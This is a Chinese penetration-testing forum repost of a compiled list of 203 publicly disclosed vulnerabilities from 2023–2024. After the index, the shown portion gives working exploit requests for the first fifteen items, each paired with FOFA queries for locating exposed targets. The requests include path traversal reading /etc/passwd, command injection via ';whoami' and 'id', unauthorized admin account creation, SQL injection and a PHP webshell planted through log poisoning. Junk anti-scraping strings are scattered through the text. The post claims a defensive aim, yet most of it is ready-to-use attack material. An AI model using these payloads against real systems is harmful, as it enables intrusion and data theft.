中国网络渗透测试联盟

标题: 互联网公开漏洞整理202309-202406--转载 [打印本页]

---

作者: admin    时间: 2024-6-5 14:31
标题: 互联网公开漏洞整理202309-202406--转载
互联网公开漏洞整理202309-202406
道一安全 2024-06-05 07:41 北京
以下文章来源于网络安全新视界 ，作者网络安全新视界

9 M5 }' G( ]' N! j, i( B+ J发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。

4 D6 ^; _8 c# v6 }; e漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。
) m2 R2 R0 R- ^* Z# |
安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。

2 ]; }, ], j: H+ n1 }文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。
( [! R9 u9 I1 N/ [- A- s* _8 E
, _7 V9 x0 k8 z5 v  r9 y合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。


; Z; Z) c$ y. {7 w, v声明

为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。
% u0 ~3 t# t; x
% B# J; U6 I' Z" u; V; o3 l3 o$ ~# l有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。
3 _7 r$ x/ n2 m2 y* w, R
: X0 G; V5 O* I# \' D' p

2 n* |# R+ z& q( L目录
9 Q, N( c6 k+ {, O$ G4 |3 q
+ ~/ c( p! l# ?! r01
6 O, l& J$ F5 }* P- I1 \
8 z7 j) k1 c! q" w* y, v& p, O$ ?/ B1. StarRocks MPP数据库未授权访问
2. Casdoor系统static任意文件读取
% P/ H% |$ s8 A5 t1 m" @& x4 \; \- ?& u; a3. EasyCVR智能边缘网关 userlist 信息泄漏
% g8 p2 Y/ h: Y( L/ ]. D4. EasyCVR视频管理平台存在任意用户添加
5. NUUO NVR 视频存储管理设备远程命令执行
6. 深信服 NGAF 任意文件读取
7 D! K: W# D9 z# i- ^7. 鸿运主动安全监控云平台任意文件下载
2 @* X  ?! U. `0 M6 A; r8. 斐讯 Phicomm 路由器RCE
9. 稻壳CMS keyword 未授权SQL注入
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
7 G5 w, a3 V/ c* d1 z12. Jorani < 1.0.2 远程命令执行
13. 红帆iOffice ioFileDown任意文件读取
' g' N0 y0 S0 w( v14. 华夏ERP（jshERP）敏感信息泄露
" I4 C2 U  U6 f2 w" s15. 华夏ERP getAllList信息泄露
8 K) o( X- N+ M* s1 g2 v16. 红帆HFOffice医微云SQL注入
17. 大华 DSS itcBulletin SQL 注入
8 k5 {- [, h5 A$ Y3 O9 q* d0 w18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
20. 大华ICC智能物联综合管理平台任意文件读取
21. 大华ICC智能物联综合管理平台random远程代码执行
* `: y/ X: D" e9 d8 z0 R, G4 C22. 大华ICC智能物联综合管理平台 log4j远程代码执行
23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
24. 用友NC 6.5 accept.jsp任意文件上传
3 O' q, _% Q/ D8 J25. 用友NC registerServlet JNDI 远程代码执行
6 L  d6 B7 l9 i- x/ e! M8 q26. 用友NC linkVoucher SQL注入
) i' }  N! b8 X" q: W! I, A27. 用友 NC showcontent SQL注入
28. 用友NC grouptemplet 任意文件上传
3 Q; U) z7 g  F' U. y29. 用友NC down/bill SQL注入
30. 用友NC importPml SQL注入
31. 用友NC runStateServlet SQL注入
: [/ p3 d1 T9 ^; a32. 用友NC complainbilldetail SQL注入
' n) ]! M" L0 b) ?33. 用友NC downTax/download SQL注入
/ R# B  P& e* e" ?8 y' ^34. 用友NC warningDetailInfo接口SQL注入
35. 用友NC-Cloud importhttpscer任意文件上传
* t) I* U4 Q! \1 }0 k& a36. 用友NC-Cloud soapFormat XXE
37. 用友NC-Cloud IUpdateService XXE
38. 用友U8 Cloud smartweb2.RPC.d XXE
39. 用友U8 Cloud RegisterServlet SQL注入
40. 用友U8-Cloud XChangeServlet XXE
7 S+ G* B* R5 y1 Y: k; J41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
, N1 H1 s- ~* E. h42. 用友GRP-U8 SmartUpload01 文件上传
: I' S3 |$ K  z8 x; Q, I43. 用友GRP-U8 userInfoWeb SQL注入致RCE
' V. ^# k9 k- t  _) w44. 用友GRP-U8 bx_dj_check.jsp SQL注入
45. 用友GRP-U8 ufgovbank XXE
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
47. 用友GRP A++Cloud 政府财务云 任意文件读取
48. 用友U8 CRM swfupload 任意文件上传
# o) H5 K0 e1 B' L; F2 k4 L49. 用友U8 CRM系统uploadfile.php接口任意文件上传
, S5 c# A+ D) O# W: W! _. i50. QDocs Smart School 6.4.1 filterRecords SQL注入
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
& O; _! T& `  f52. 泛微E-Office json_common.php sql注入
9 {: p! y" ]2 E" C9 D53. 迪普 DPTech VPN Service 任意文件上传
- b, e6 ^! y0 c) G$ {54. 畅捷通T+ getstorewarehousebystore 远程代码执行
55. 畅捷通T+ getdecallusers信息泄露
4 m5 X6 Y9 y. H; O) F0 N0 ^56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
5 l+ K/ R2 U" v" |57. 畅捷通T+ keyEdit.aspx SQL注入
58. 畅捷通T+ KeyInfoList.aspx sql注入
5 p2 C* w; ?, R+ ]59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
60. 百卓Smart管理平台 importexport.php SQL注入
  V: h& P5 c2 `6 @( k; ]1 \61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
2 T6 a8 \) M6 k62. IP-guard WebServer 远程命令执行
63. IP-guard WebServer任意文件读取
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
' Q+ d6 I3 I( |8 Z3 t0 [65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
& }' H0 }& b* C2 I% e6 u67. 万户ezOFFICE wpsservlet任意文件上传
! ^& \6 T0 `, \7 s68. 万户ezOFFICE wf_printnum.jsp SQL注入
: D! W" @: {; ^69. 万户 ezOFFICE contract_gd.jsp SQL注入
: b: w0 T$ z  X70. 万户ezEIP success 命令执行
8 A8 }& M5 A9 s/ E71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
1 [0 }/ h! T2 G7 Z' I7 A/ Q72. 致远OA getAjaxDataServlet XXE
! G5 O5 d0 t2 u' ~3 }3 Q/ Y0 Z73. GeoServer wms远程代码执行
) L2 \- Q) R0 J. D0 d6 b# e& G( A74. 致远M3-server 6_1sp1 反序列化RCE
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
76. 新开普掌上校园服务管理平台service.action远程命令执行
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
) @; b) Z: W9 w79. BYTEVALUE 百为流控路由器远程命令执行
7 s  i3 r. _: C1 S80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
83. JeecgBoot testConnection 远程命令执行
. P% \( p" R6 M) n3 Y3 v& y84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
85. SysAid On-premise< 23.3.36远程代码执行
( J* V! {; l1 b, }' c4 _/ K; I86. 日本tosei自助洗衣机RCE
87. 安恒明御安全网关aaa_local_web_preview文件上传
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
89. 致远互联FE协作办公平台editflow_manager存在sql注入
90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
0 V2 `+ _: ~7 Y8 X/ K1 C7 S92. 海康威视运行管理中心session命令执行
( V, a( e) `. D) o; J9 N7 _93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
96. Apache OFBiz  18.12.11 groovy 远程代码执行
+ U. f% g5 n- ]8 q97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
3 ~$ l8 `/ t  i98. SpiderFlow爬虫平台远程命令执行
99. Ncast盈可视高清智能录播系统busiFacade RCE
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
& K% M- o/ a, u- X101. ivanti policy secure-22.6命令注入
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
" B6 m6 W. y$ Y4 _103. Ivanti Pulse Connect Secure VPN XXE
9 |- @, D& [/ Z% u" o4 X7 N6 r1 \104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
105. SpringBlade v3.2.0 export-user SQL 注入
; [0 a' ~0 i$ R106. SpringBlade dict-biz/list SQL 注入
107. SpringBlade tenant/list SQL 注入
108. D-Tale 3.9.0 SSRF
) `6 `: I+ N$ {' s, P! J3 M109. Jenkins CLI 任意文件读取
110. Goanywhere MFT 未授权创建管理员
111. WordPress Plugin HTML5 Video Player SQL注入
2 o( O5 ?$ c7 r* a+ S+ P8 m112. WordPress Plugin NotificationX SQL 注入
- b! x& A% T& |' a; c113. WordPress Automatic 插件任意文件下载和SSRF
114. WordPress MasterStudy LMS插件 SQL注入
/ H9 {* d; y4 ~/ s! Z. _115. WordPress Bricks Builder <= 1.9.6 RCE
116. wordpress js-support-ticket文件上传
0 |5 @! N* v5 |5 f: Z2 F0 u117. WordPress LayerSlider插件SQL注入
& A9 C. T) t8 r5 S" H. y) h118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
7 C  W' |1 b0 d8 D, E$ r' K' ^119. 北京百绰智能S20后台sysmanageajax.php sql注入
120. 北京百绰智能S40管理平台导入web.php任意文件上传
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
* t# s# O# E! ~122. 北京百绰智能s200管理平台/importexport.php sql注入
, L3 B  u9 Y1 l6 C( C0 o123. Atlassian Confluence 模板注入代码执行
124. 湖南建研工程质量检测系统任意文件上传
125. ConnectWise ScreenConnect身份验证绕过
126. Aiohttp 路径遍历
127. 广联达Linkworks DataExchange.ashx XXE
7 v+ `0 |; J8 Q4 i  G$ }; y3 V128. Adobe ColdFusion 反序列化
: j( {" x$ v6 `' _* l+ k129. Adobe ColdFusion 任意文件读取
130. Laykefu客服系统任意文件上传
, |$ w2 l5 N9 L131. Mini-Tmall <=20231017 SQL注入
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
( d1 |; A. v5 S133. H5 云商城 file.php 文件上传
0 I& V9 B1 l$ I134. 网康NS-ASG应用安全网关index.php sql注入
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
$ H# m$ \8 e; I$ q# A136. NextChat cors SSRF
' ?, X) `% T& |137. 福建科立迅通信指挥调度平台down_file.php sql注入
138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
5 c0 W4 M+ m. b% ~/ e2 K. K$ w139. 福建科立讯通信指挥调度平台editemedia.php sql注入
( V) f& P/ Z* \; P/ {" u3 r9 G140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
1 G* @2 z) N9 p141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
' I* p" b! D, c9 r. b! }! P142. CMSV6车辆监控平台系统中存在弱密码
$ v/ G& _4 Y0 {5 X  x143. Netis WF2780 v2.1.40144 远程命令执行
8 U% X6 _8 _& d! v* C2 a$ |144. D-Link nas_sharing.cgi 命令注入
145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
146. MajorDoMo thumb.php 未授权远程代码执行
147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
2 v  u  D2 h2 b; C6 \3 Y/ ^  X148. CrushFTP 认证绕过模板注入
149. AJ-Report开源数据大屏存在远程命令执行
150. AJ-Report 1.4.0 认证绕过与远程代码执行
: q1 M% }% F) V: R3 L% Y7 ]- R151. AJ-Report 1.4.1 pageList sql注入
7 @3 Y- ~3 L( S$ ~152. Progress Kemp LoadMaster 远程命令执行
; w, e6 @, c7 t! H* h153. gradio任意文件读取
154. 天维尔消防救援作战调度平台 SQL注入
; n0 L7 b$ y, j+ C1 H& |& O155. 六零导航页 file.php 任意文件上传
156. TBK DVR-4104/DVR-4216 操作系统命令注入
157. 美特CRM upload.jsp 任意文件上传
. J( Z5 M5 r# W1 ~/ Y6 \5 F158. Mura-CMS-processAsyncObject存在SQL注入
159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
160. Sonatype Nexus Repository 3目录遍历与文件读取
' U- r6 |7 B4 A; S: |161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
( {0 Y5 I  L& L* Z# W162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
* D& B8 K$ `7 P  d) f2 ?* o$ _164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
165. OrangeHRM 3.3.3 SQL 注入
166. 中成科信票务管理平台SeatMapHandler SQL注入
% Y' r1 Z, n+ C2 |167. 精益价值管理系统 DownLoad.aspx任意文件读取
# v& \3 M) i" F- N* I168. 宏景EHR OutputCode 任意文件读取
169. 宏景EHR downlawbase SQL注入
1 p( n2 X% k( T* g4 }" _  e; H7 Z170. 宏景EHR DisplayExcelCustomReport 任意文件读取
171. 通天星CMSV6车载定位监控平台 SQL注入
# d' G4 u6 a# a$ P' x' i172. DT-高清车牌识别摄像机任意文件读取
& }/ o, H# `8 O) Q/ `! T173. Check Point 安全网关任意文件读取
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
176. 电信网关配置管理系统 rewrite.php 文件上传
. @7 v2 _. [0 a" s  L, p( W177. H3C路由器敏感信息泄露
178. H3C校园网自助服务系统-flexfileupload-任意文件上传
179. 建文工程管理系统存在任意文件读取
7 D) h+ K5 N9 ^, ]) ]( o+ |# F% ^180. 帮管客 CRM jiliyu SQL注入
181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
3 `* O; v$ Q& x" m182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
5 R* T! n) V, @" B" x2 C& [* Y% U183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
2 u; t4 N6 G8 Q: B3 A+ v( p# S4 ~185. 瑞友天翼应用虚拟化系统SQL注入
186. F-logic DataCube3 SQL注入
( T4 i4 t4 Q' D* V9 B! z187. Mura CMS processAsyncObject SQL注入
188. 叁体-佳会视频会议 attachment 任意文件读取
# ^0 }; q+ q) o  R0 ~7 P8 G$ J* U189. 蓝网科技临床浏览系统 deleteStudy SQL注入
: d* A9 f9 \3 v1 B) i: V0 D+ \190. 短视频矩阵营销系统 poihuoqu 任意文件读取
7 ?2 G) B8 P8 h' n( j2 i4 F( e1 {: u191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
4 t: R6 r* i- l8 H1 F' r5 j( P3 T. k193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
7 @3 @4 p3 ?& L  o' f194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
" U7 w0 l4 V0 j  M" _4 c8 ^4 ?* O% p0 ?195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
& N$ V, N! @9 U5 S* B3 {196. 河南省风速科技统一认证平台密码重置
5 ^/ N& N4 |' e: a9 v# s3 `8 [197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
7 R* I5 v5 Z0 @% q+ V2 p198.  阿里云盘 WebDAV 命令注入
199. cockpit系统assetsmanager_upload接口 文件上传
, Q2 D9 [6 d& i( D# X9 Z200. SeaCMS海洋影视管理系统dmku SQL注入
$ t) m4 D' ]4 a9 l201. 方正全媒体新闻采编系统 binary SQL注入
9 `7 H) @9 J9 n" A8 W& s! Y0 P202. 微擎系统 AccountEdit任意文件上传
203. 红海云EHR PtFjk 文件上传

- x# i; O! I! I; S+ V+ KPOC列表

# X" Q& v8 e5 a* v# q; D* D' t02

' Q. L8 \/ g! v) U7 {1. StarRocks MPP数据库未授权访问
FOFA ：title="StarRocks"
GET /mem_tracker HTTP/1.1
* [- F: h) s( aHost: URL


$ s9 s, O! Q8 I6 q: [: u; N  l: Q& B6 E2. Casdoor系统static任意文件读取
FOFA ：title="Casdoor"
8 o- E- `# s" |4 ~( j: g8 NGET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
0 I) v: Y6 E4 ]1 b* ?: o/ Q( SHost: xx.xx.xx.xx:9999
( K+ Q$ k' @7 x  l7 U0 YUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
5 G0 f7 L: c, n$ L) m  AConnection: close
Accept: */*
6 R6 S+ Q9 n* n5 kAccept-Language: en
& D6 ]7 E4 d1 j$ @; c% JAccept-Encoding: gzip


  }) w2 v* ^4 {) z3. EasyCVR智能边缘网关 userlist 信息泄漏
2 E2 }. s. {2 w+ c/ U* {( RFOFA ：title="EasyCVR"
6 j, u! _9 y6 p+ O* U. w' YGET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
Host: xx.xx.xx.xx


4. EasyCVR视频管理平台存在任意用户添加
8 @" b/ r( A9 P6 z+ y( c' ]FOFA ：title="EasyCVR"

password更改为自己的密码md5
' O" e6 _# Q+ V% J! hPOST /api/v1/adduser HTTP/1.1
Host: your-ip
1 x- P" G2 y6 ~% t! M; cContent-Type: application/x-www-form-urlencoded; charset=UTF-8

$ u/ o/ ~- M6 _) gname=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1
9 z: \& ?4 y* [1 K' n7 i* }

3 W, J) `! d1 a$ Q8 o1 Z6 J/ v5. NUUO NVR 视频存储管理设备远程命令执行
FOFA：title="Network Video Recorder Login"
GET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
; P. X! R: r! ^  Z" nHost: xx.xx.xx.xx


! Y$ i/ Z2 A  [. C$ K4 X8 ?6 t( e6. 深信服 NGAF 任意文件读取
$ h+ t, f& D6 Y$ P( j. e0 t$ b( IFOFA：title="SANGFOR | NGAF"
. Q* Y5 [$ L0 n# m7 |& x& Q9 k/ oGET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
Host:
, I+ m) C0 X  L& X) R  S
+ G+ E! m. \0 \$ M( ^8 b
. H1 O, M: P# m) ?0 \5 F; v$ X7. 鸿运主动安全监控云平台任意文件下载
: g7 l5 M4 E, F/ V5 `) {% \$ zFOFA：body="./open/webApi.html"
/ [# z+ _1 h8 ?2 Y2 ?4 JGET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
) }7 Z, x3 r+ {# }- Y8 j& YHost:
: o1 c1 e  U; E9 G: {
! e0 A8 f( ~: `3 B  p
8. 斐讯 Phicomm 路由器RCE
& A7 s* H) i) P; n/ W' ]% Q, B4 KFOFA：icon_hash="-1344736688"
0 q* o; [  _- s( ]/ W: T  W默认账号admin登录后台后，执行操作
POST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
* O$ x2 s* y. J# y) ~Host: x.x.x.x
Cookie: sysauth=第一步登录获取的cookie
+ \1 }% j' Q" _  X2 c0 LContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
4 ~" ^% p: r7 A; QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
3 o4 Q6 U+ e* z1 x4 s$ R. N7 r8 j
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootEnablestatus"
' |6 ^0 j0 K& Y. }( [1 R: \/ x/ c
%s
------WebKitFormBoundaryxbgjoytz
, D7 S5 H- V" N) R7 T" Q% g: }Content-Disposition: form-data; name="wifiRebootrange"
- w) r4 K# H3 \- A  m
, Y' v- p; D" @4 r- v9 P: j4 z12:00; id;
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootendrange"

%s:
------WebKitFormBoundaryxbgjoytz
% K  y0 C$ D/ K; a  YContent-Disposition: form-data; name="cururl2"
5 U5 B8 ]5 O4 _( Y0 t: p
. o+ p9 s# Y5 h3 p# \$ l0 c
------WebKitFormBoundaryxbgjoytz--
$ \; L7 H0 j! E- ]+ |' [) Z

9. 稻壳CMS keyword 未授权SQL注入
FOFA：app="Doccms"
. B" I, y: m- {1 K5 z, r5 `GET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
6 Z- g5 ]( p" e" L1 x0 \Host: x.x.x.x
1 j+ D  ~5 R. J# ]2 u% p
  B, K3 \+ r4 b
- f1 m8 x- f- f  Fpayload为下列语句的二次Url编码
( ~# O( ]  l* @
' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#

10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
FOFA：icon_hash="953405444"
. d$ [9 {$ B6 P
文件上传后响应中包含上传文件的路径
POST /eis/service/api.aspx?action=saveImg HTTP/1.1
& r$ @  p1 V5 j' }3 i$ D& d& o2 }Host: x.x.x.x:xx
# d' M. O, f% FUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
6 c- [; P' d" I( l1 j+ s, rContent-Length: 197
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
+ w+ S/ `! O8 p/ h! i+ Z- `! j& pAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu
' g* A/ n" Z: G, J
------WebKitFormBoundaryxdgaqmqu
Content-Disposition: form-data; name="file"filename="icfitnya.txt"
0 x+ a* X. ?" |; t  OContent-Type: text/html

  X4 d0 i" H; \4 z" mjmnqjfdsupxgfidopeixbgsxbf
------WebKitFormBoundaryxdgaqmqu--


. Z# Y4 b+ H+ }/ d* X7 u" U* F11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
FOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
0 L8 U  h0 x7 ~' cGET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
! |& \" `2 `# z/ @9 v8 XHost: 127.0.0.1
8 j; y& o( U+ n" DPragma: no-cache
: `; e5 D* [4 O1 k, }! WCache-Control: no-cache
9 Y) l+ T+ V/ H6 u6 oUpgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
- I* t8 ~6 \/ K5 ]9 DAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
! {9 ^1 m4 [2 L6 bConnection: close
6 u2 O7 R+ k/ X; ]$ n& ?% P- N

12. Jorani < 1.0.2 远程命令执行
/ `& ~% [. P  x9 i8 _FOFA：title="Jorani"
第一步先拿到cookie
GET /session/login HTTP/1.1
Host: 192.168.190.30
+ l- a9 z$ w& E$ \" o* D% ^User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
8 S9 B4 G+ I8 ?" KAccept-Encoding: gzip
& G0 }, c( Q6 E

3 x  A2 \$ U. N0 e: _* q响应中csrf_cookie_jorani用于后续请求
HTTP/1.1 200 OK
/ ?( w! M' P* Z5 I" o0 ^Connection: close
: n$ a& C/ i' T( d4 _( w3 a' SCache-Control: no-store, no-cache, must-revalidate
Content-Type: text/html; charset=UTF-8
Date: Tue, 24 Oct 2023 09:34:28 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
  X/ L1 W/ o9 [4 R1 ZLast-Modified: Tue, 24 Oct 2023 09:34:28 GMT
* l6 h6 {( {$ c5 _& W! QPragma: no-cache
, A6 r1 b! U4 N6 k( KServer: Apache/2.4.54 (Debian)
Set-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
# `. @5 n* |4 f' DSet-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
% T# G, A: L4 RVary: Accept-Encoding


" P2 h0 b4 m/ N; E5 I- W( SPOST请求，执行函数并进行base64编码
+ E8 q1 M) K- Z6 y$ ^POST /session/login HTTP/1.1
2 P: p# q( J$ Z8 F1 B4 D7 i2 |Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
Content-Length: 252
Content-Type: application/x-www-form-urlencoded
9 \1 s) L, Q# v2 z1 lCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
; b( b/ P: g* [8 _Accept-Encoding: gzip

% J) ?/ l% i7 ~/ P. Hcsrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor

3 e1 B, _& f3 F$ ^0 y
" x; u* F. P& f; k5 c
向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
GET /pages/view/log-2023-10-24 HTTP/1.1
Host: 192.168.190.30
, S  ~  g* ~6 A1 aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
- k2 z* Z% m+ x; {1 mK1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
- O% S* N( J% v( @" g6 f$ y: sX-REQUESTED-WITH: XMLHttpRequest
% Z' p$ i# V1 X- PAccept-Encoding: gzip

) i/ {5 E& C2 [0 I
13. 红帆iOffice ioFileDown任意文件读取
! V+ z9 G# G, _  q" Q- P* A/ KFOFA：app="红帆-ioffice"
; w- N+ y, y0 a, UGET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
& f$ r$ m% e1 ~1 a+ dAccept: */*
Accept-Encoding: gzip
8 ~' G8 Y7 j& c& Q+ x

- ?2 e4 z7 ], p5 p14. 华夏ERP（jshERP）敏感信息泄露
FOFA：body="jshERP-boot"
泄露内容包括用户名密码
8 b8 ]$ v6 D- \- [; i6 l4 a' GGET /jshERP-boot/user/getAllList;.ico HTTP/1.1
6 ^' C1 r% [% x" o4 IHost: x.x.x.x
" g) [3 g3 C$ w# E! G6 N- wUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
. R7 R$ y  W* J1 b+ S$ c# kAccept: */*
4 S+ b* r9 A0 [. WAccept-Language: en
) b/ W* c: [/ q- z7 jAccept-Encoding: gzip


7 I0 j7 h% Z# Q, T7 V- c15. 华夏ERP getAllList信息泄露
CVE-2024-0490
6 Z( b/ E  }" h& D, S5 u. BFOFA：body="jshERP-boot"
泄露内容包括用户名密码
